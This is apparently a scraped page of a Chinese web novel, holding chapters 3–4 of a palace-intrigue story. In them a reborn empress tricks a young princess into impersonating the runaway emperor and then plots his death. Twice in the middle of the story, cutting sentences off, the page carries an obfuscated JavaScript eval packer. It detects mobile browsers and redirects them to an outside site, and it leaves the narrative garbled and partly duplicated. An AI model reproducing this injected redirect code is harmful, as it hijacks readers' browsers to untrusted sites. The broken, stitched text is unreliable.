《废物新帝的忠臣皇后重生后》 3. 嫂嫂!我没有那个啊!(上) 夜。 风怒欲拔木,雨暴欲掀屋,暴雨冲刷着山间的小路,一辆华贵的马车漫无目的的行走在其中。 雨太大,打在脸上都看不清前路,文康帝连马都驾不好,还是丽娘攥着马缰驾车前行。 文康帝坐在马车里,等着丽娘,偶尔探头出来望一眼。 风大雨大,丽娘回头看他,对他笑着说:“雨大,我们找个地方休息,等醒了,我带你回家。” 文康帝突然对丽娘的“家”充满了好奇与期待。 这一夜没有追兵,他们没有逃命,没有出意外,没有碰上山滑,他们的马车,似乎在向好的方向驶去。 —— 但文康帝好了,宁月却好不了。 “皇嫂如何了?” 暴雨下的梧桐殿外间内,宁月抓着出来的御医问话。 御医也是匆匆赶来,身上都被雨水浇透了,湿淋淋的诊治过后,又湿淋淋的出来,在宫殿外间与公主道:“回公主的话,皇后娘娘寒邪入体,惊怒而晕,眼下尚未醒来,需卧榻休息七日,方可痊愈。” 宁月呆若木鸡。 之前还是神神气气的小孔雀呢,一扭头,嚯,成落汤鸡了。 也实在是怪不得宁月,皇兄跑了皇嫂病了,任凭是那位公主来了,都得在这儿呆一会儿。 —— 这一夜,风雨急啸乱事频出,皇兄出逃,皇嫂气晕,只剩下一个宁月来撑场面。 宁月赶鸭子上架般匆匆忙忙的开始着手处理,先命人来医治皇嫂,又调动金吾卫去找文康帝。 因为害怕文康帝失踪而引发动乱,宁月没敢直接提“文康帝跑了”,而是说“民妇跑了”,叫人四处去搜寻,奈何这天地广,水土宽,再加上山落暴雨,这一夜都没找到人。 宁月急的嘴里面都冒泡了! 好不容易熬到第二日早上,皇嫂醒了,雨也停了,宁月人都快晕过去了。 醒来的烟令颐先是哄了哄宁月,随后立刻开始派人去满山搜索文康帝。 但恰好山滑石流,雨后踪迹全无,这个人怎么都找不到,一连三日,这偌大一个人,就像是消失了一般。 人找不到,只能暂时对外宣扬文康帝病重,表面上糊弄一段时间。 而背地里,烟令颐和宁月都很急,烟令颐急的一圈一圈的在山里找,但就是找不到这个人,宁月急的两个晚上都没睡好,人都沧桑了几个春秋。 家不可一日无主,国不可一日无君,大晋子嗣单薄,上一辈就只有先帝与齐王两人,先帝早逝,齐王征战沙场多年,身体伤病难愈,御医说已经没有多长时日了,到了这一代就文康帝与宁月两人,连个旁支都没有,一旦皇帝消失这件事情传出去,不知道会引起多大的动荡。 而文康帝对外宣扬病重不过三日,宫里就来了信儿,太后放心不下文康帝,特意下旨,命文康帝养好身子后速速回朝,顺带命掌事姑姑给烟令颐送了一本医书,借着掌事姑姑的口,让烟令颐好生照顾文康帝。 文康帝是太后唯一的儿子,太后对文康帝十分疼爱,真是含在嘴里怕化了,捧在手心怕丢了,稍微有点风吹草动,太后都要过来问一问,很多时候,太后舍不得责备文康帝,就直接转头去责备烟令颐。 别管我儿子为什么病的,只要我儿子病了就是你这个儿媳妇没做到位,太后永远会第一个敲打烟令颐。 对于太后来说,烟令颐就是她为儿子准备的一双完美的靴子。 这双靴子一定要稳稳当当,舒舒服服的让她儿子踩一辈子才行,只要烟令颐身上有一点凸起来、不合脚的地方,太后都要第一时间拿起名为国家大义、烟家荣辱的锤子,过来亲自敲打烟令颐。 [令颐啊!] 那锤子敲下来的时候,似乎带着几分叹息。 [姑母都是为了烟家,为了你好啊。] [你若是懂些事,姑母也不会如此对你啊。] 这样的事情过去早已经上演过千百遍,烟令颐如往常一样,接过太后赏赐的医书,说定会细细研读,照顾好文康帝,待到文康帝好了,便立刻起身返回建业。 掌事姑姑这才满意离去。 宁月听了这消息,险些没当场晕过去。 皇兄只是“病”了,太后就要来敲打皇嫂,若是知道皇兄“丢”了,太后不得把皇嫂敲死啊! 宁月一想到皇嫂都因为这件事儿急晕过去了,她就替皇嫂委屈,是皇兄自己跑了,又不是皇嫂做错了事,凭什么那些坏的都落到皇嫂身上去了? 宁月心疼烟令颐心疼的要命,当夜特意去梧桐殿看烟令颐。 —— 是夜,宁月到梧桐殿的时候,发现殿内屏蔽左右,四周清冷的紧。 头顶上的枝木互相交错,叠成了一张巨大的蜘蛛网,在夜色下静静的悬着,耐心的等待着某个猎物一头撞上去。 宁月毫无察觉,绕过长廊往前走时,看见皇嫂的贴身宫女芝兰捧着一把匕首进了内殿。 宁月喊了一声,但芝兰似是没听见,快步进了殿内。 宁月随之而去,隔着一层纱帐,看见皇嫂跪坐在其中,芝兰将匕首捧递给皇嫂,颤抖着喊了一声:“娘娘。” 这一声娘娘尾音都在抖,听起来凄凉寒苦,让人顿生不妙之意。 这是要做什么? 宁月屏息探头,正看见帐内的皇嫂慢慢坐起身来。 她可以看见皇嫂劲瘦的肩背,像是一只坠在重叠金纱中的鹤,火光如水般映在纱帐上,只是她的一个影子,都带着几分浮光掠金的惊艳。 宁月刚想开口,却突然看见皇嫂接过那把匕首,作势要往脖颈上捅! “皇嫂!”宁月惊得三魂七魄都飞了,跑过去尖叫着喊:“皇嫂这是在做什么?” 纱帐翻飞,露出烟令颐的身影。 皇嫂只着纱衣,正赤足匍在地上、背对着她,薄薄的脊背虚弱的垂着,看的人心疼。 “皇嫂!”宁月双手发抖,被吓得炸毛了。 “今日掌事姑姑来此,说要见文康帝,被我挡回去了,说是已睡了,让她明日再看——但明日是无论如何都挡不会去的,待到明日,这件事儿便要暴露了。”烟令颐满目悲怆:“宁月——找不回皇上,我无颜面见太后,唯有一死了之。” 宁月心头巨震。 皇兄撂下这么大的摊子说走就走了,简直要将她的皇嫂给逼死了! 她左右为难,恨不得替皇嫂去死。 “奴婢有一个法子,能暂缓今日之困局。”正是为难之时,一旁的芝兰跪下,抬起头来,望着宁月那张天真的脸,循循善诱:“只是,需要公主相助。” 宁月简直如听天籁,忙抬头问:“什么法子?” 她完全没有感觉到皇嫂的不对之处,更没有意识到自己正在一步步的踏入到一个陷阱之中。 在宁月眼中,她的皇嫂是大晋头一号忠臣,无论如何都不会背叛皇室,背叛大晋,所以她毫无防备的问出了口。 在某种情况上来说,也确实 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427420|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 如此,烟令颐从头到尾都没有背叛皇室,她永远以大晋为主。 一旁的芝兰道:“公主与文康帝如此相似,便由公主暂代文康帝几日,待到奴婢们将人寻到,再替换回来便是。” “暂代?”宁月瞪大了眼,还没来得及反驳,就听烟令颐道:“不行!” 烟令颐满面心疼:“宁月如何能做得了这样骗人的事儿?不若我就这么死了,将一切交代了去,免得连累宁月。” 一旁的芝兰也磕头,呜呜咽咽的哭:“皇后死了,奴婢也不活了。” 一时之间,整个梧桐殿内都塞满了哀切悲怆之意,宁月的鼻腔里像是被人塞了酸杏子,涩涩的,马上要流下泪来。 “皇嫂。”宁月跟着她一起跪坐在地上,拿袖子擦了一把眼泪,像是一只被雨水淋湿的小猫,抽抽噎噎的哭着说:“皇嫂,你别死,我来冒充哥哥,让我来试试。” 哭红了鼻子的小公主看着可怜可爱,哭着哭着还打了个嗝儿,鬓角的发丝落下来,随着她的动作一点点颤。 而一旁满脸悲意的烟令颐却已经渐渐收了表情,她的脸还是那张脸,人还是这个人,可是眼底只有一片幽暗的冷意。 片刻后,烟令颐抬起眼眸,用一种爱怜的目光望着宁月,后抬起手,轻轻地捋过宁月的发丝,替她别入耳后。 “好妹妹。”烟令颐叹息着,道:“相信嫂嫂,很快就好了。” 上辈子文康帝用宁月公主替死,这辈子,烟令颐就真的用宁月公主替了他的一切,一饮一啄皆是天定,上辈子的债,这辈子该还了。 女人怎么了?女人也能当皇帝,当的还比文康帝好! 文康帝不是要自由吗?不是要爱情吗?她都给他,他们俩相爱,那也算是为民除害了! 而文康帝厌弃的皇位,责任,权柄,她一概接收。 她倒要看看,没了文康帝,这个国家在她手里能不能倒。 按照上辈子的轨迹,摄政王活不过这个月,而在摄政王死后的三月后,太后也病重逝世,自太后死后,文康帝就一直声色犬马,朝堂后宫基本都是烟令颐在管。 这一辈子,只要熬过这三月,剩下的就都不足为惧。 于她而言,皇帝不过是礼制上的符号,是朝堂□□的棋子,只要她是皇后,只要那枚象征着无上权柄的玉玺稳稳握在掌心,她便能让这万里江山国泰民安,至于龙椅上坐着的是谁——是垂拱而治的傀儡,还是空有虚名的摆设,还是一个披着男人皮囊的女人,都不重要。 她不打算将权势再交给任何一个人,她确信,没有另外一个人会比她做得更好,既然如此,为什么不能是她呢? 血热的躯壳生出无尽的野心,这一夜,烟令颐在梧桐殿织了一片罗网,准备倒扣整个大晋。 上辈子扶别人扶不起来,这辈子,她打算扶一扶自己。 嗯——当然了,宁月本人并不知晓啦。 她年岁还小,虽说娇蛮爱美了些,但胆量可不大,被皇嫂吓得一直哭,扑在皇嫂怀里,被皇嫂撸着脑袋哄。 被皇嫂撸脑袋很舒服,后脊梁酥酥麻麻的,脑袋也渐渐昏沉,她窝在皇嫂的膝盖上,渐渐地睡了过去。 小姑娘脸蛋肉肉的,睡着了之后微微鼓起来一小块,半凌乱的发鬓垂散在脸颊旁边,看上去人畜无害。 烟令颐温柔的抚过她的面颊,像是在看宁月,又像是在看大晋的玉玺。 一无所知、从不伤人的宁月,就这样成了烟令颐手中最锋利的那把刀。 4. 嫂嫂!我没有那个呀(下) 这一夜,宁月睡得很香,直到次日清晨才醒。 她醒来时,人已经躺到了罗帐里。 天色已经大亮,后厢房的窗户开着,她一眼望过去,正看见鸟向檐上飞,云从窗里出,皇嫂正坐在床榻不远处的镜前梳妆,清晨的光芒照在皇嫂的身上,宁月总觉得,皇嫂身上像是焕发出了一种生机。 勃勃的往上生长,每时每刻都在壮大。 见她醒了,皇嫂回过头来看她,笑着说道:“皇上起身了?” “嗯?”宁月被叫的一个激灵,懵懵的看了皇嫂一会儿,想起来了。 她要扮演哥哥来着。 “一会儿掌事姑姑便来给皇上请安了。”烟令颐道:“皇上早些穿衣吧。” 掌事姑姑是太后那头的心腹,得知皇上病重,特意替太后来走一遭,昨日没见到人,今日定要见一见才行。 说话间,芝兰走上前,开始替宁月打扮。 眉眼修一修,唇色改一改,便几乎一模一样,声量的话,宁月假装风寒未愈,粗着嗓门说话,也能蒙混过关。 宁月与文康帝一母同胞,时年都是十六,身子单薄抽条,身形颇为相似,宁月只比文康帝矮上一线,垫一垫鞋垫便可。 收拾的时候,宁月心中难免紧张,与皇嫂攀谈:“我,我成了哥哥,那我呢?” 宁月公主呢? “臣妾命人去替了公主,对外只说公主花粉过敏,伤了脸,覆薄纱。”烟令颐起身道:“皇上不必操心。” 宁月松了口气。 皇嫂真靠谱! 说话间,芝兰拿来亵裤给宁月穿。 男人的亵裤与女人有些不同,宁月不知道想到了什么,突然间惊恐万分,道:“嫂嫂!我没有啊!” 这以后怎么应付后宫女人啊? 宁月突然觉得,她日后的生活恐怕不像是之前想的那么简单。 而烟令颐有备而来:“嫂嫂给你塞一个。” 她从一旁拎出来个事物,宁月细细一瞧,是一个新鲜的水萝卜,表皮鲜嫩嫩的,看上去一掐就能掐出来个月牙印的那种。 萝卜较为粗的上方用绳子绑的严严实实的,绳子一甩,萝卜就跟着晃悠。 只要绑在腰上,就跟男的差不多了。 “哎?” 等等嫂嫂我其实不是这个意思! “哎?!” 这什么玩意儿萝卜不是吃的吗嫂嫂我如何正视萝卜啊! “哎!!!” 等一下嫂嫂我也不是我哥咱们俩也不至于这么坦诚你也不必亲自上手吧! “嫂——嫂——啊!” 在这一个飘满荷露香气的清晨里,骄纵可爱的小公主长出了第三条腿。 有这么小吗!话本上不是这样说的啊! 从女人变成男人这个过程实在是不太美妙,宁月整个人都虚脱了,她觉得她浑身的精气都被这么个玩意儿给吸走了。 遭受了重大打击的小公主根本起不来身,虚弱的躺在床上,总觉得自己一抬腿,身上那个不属于自己的地方就开始左右摇晃。 这对劲儿吗?怎么还会动啊! 这小玩意儿在裤子里来来回回的摩擦,感觉好奇怪,宁月浑身都不舒坦,往床上一躺,动都没法动,这样儿倒是跟重病挺像的。 她躺了不过片刻,掌事姑姑便在外面求见。 烟令颐唤掌事姑姑进来,随后与掌事姑姑言谈,关键时刻,床榻上的宁月掀开纱帐露一露面,外头的姑姑瞧见“文康帝”行动自如,便放心了。 说话间,掌事姑姑又道:“娘娘,太后听闻皇上病重,惦念的紧,皇上身子骨若是好了,便早些回朝吧。” 烟令颐早有预料。 太后对她这唯一的儿子太过溺爱,爱到有点不分轻重缓急,只要文康帝有一点事儿,太后都要仔仔细细的问一遍。 上辈子,烟令颐怕被太后责罚,所以死死摁住了山里发生的一切事,包括自己受伤的事儿,也尽量简化丽美人的存在,让太后接受,但这辈子,烟令颐为了哄宁月上船,在其中推波助澜、稍作文章,没有完全隐瞒住这件事,所以叫太后听到了风声,导致他们祈福中断。 “应当。”烟令颐点头,道:“我们明日便回朝。” 对于烟令颐与宁月的磨难,现在才刚刚开始。 宁月对前路毫无预兆,完全是跟在皇嫂身后走一步看一步,但烟令颐却好像已经看见了日后的万里江山。 她挺起胸膛,一步一步向其走去。 三灵山只是一个开始,建业才是她真正的战场。 —— 次日一大早,在山中祈福的众人陆续收拾行装,带着假皇上离了三灵山。 假皇上走了,那真皇上去了哪里呢? 真皇帝跟着丽娘去了丽娘的家。 丽娘的家是个很普通的小村庄,此处远离人烟,仅十来户人家,相处颇为自在和谐,夏季山中多雨露,茅庐眠听雨,梦里长青苔。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427421|184844||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这是季明山第一次脱离朝堂。 没有烦人的公务,没有严苛的规矩,没有华美的牢笼,他想做什么就做什么,没有人会因为他不想看公文而指责他,没有人会因为他一句话说不对而训斥他,没有繁琐的规矩,什么都没有,只有连绵的山与蜿蜒的河。 当人站在高山上,被风吹起发丝时,他感受到了前所未有的自由。 他很舒服,很快乐,整个人像是飞起来。 丽娘和他笑,跟他约定好要一生一世待在这个地方,拉着他奔向家乡。 季明山跟着丽娘一起跑过去。 他本来该很快乐的,但不知道为什么,在他真的确定自己离开了朝堂之后,又莫名的有一丝古怪的不舍。 其实他也不是生来爱玩儿,他只是一直在用一种方式来反抗太后和皇后对他的压迫,这些人总是规训他,让他乖顺,他偏不顺从,以前是用沉迷享乐来反抗,现在,是用丽娘来反抗。 一个至死不渝的爱人给他枯燥的生活制造了更多的新奇感,丽娘的出现将他这种反抗拉到了最高潮,但当他真的反抗成功、脱离一切的时候,他又忍不住回头看一眼。 他真的要放弃过去的一切吗?那些东西好像也没有那么不好吧? 这念头只是冒出来一瞬,就被丽娘的笑声打断了。 季明山又回头看丽娘,瞧着丽娘的侧脸,他也笑了。 他才不会后悔呢,当皇帝一点都不快乐,他要自由的爱。 季明山欢快的跟着丽娘一起奔向了远方,至于山间那群人——他跑了这件事儿,传到烟令颐的耳朵里,说不准能把烟令颐吓哭了呢!烟令颐一定会在这山里疯狂的找他的,一想到烟令颐现在可能会慌到整夜睡不着觉,满山乱翻他的身影,他就觉得好笑。 哈哈,让他们继续在这山间灰头土脸的找吧! 而此时的烟令颐又在干什么呢? —— 烟令颐也有大事儿要办,在离山之前的这一夜,烟令颐将芝兰召进密处,给了芝兰一个最要紧的任务。 之前在三灵山时,同处的人实在是太多,她不好将身边最要紧的芝兰在关键时刻派走,容易惹人眼球,只有等到所有人离开之后,她才能派芝兰去。 她既然要[公主换皇帝],那就要保证原来这个皇帝永远不出现。 什么人会永远不出现? “死人。”烟令颐握紧芝兰的手,与她一字一顿道:“旁人我都信不过,唯有你,芝兰。”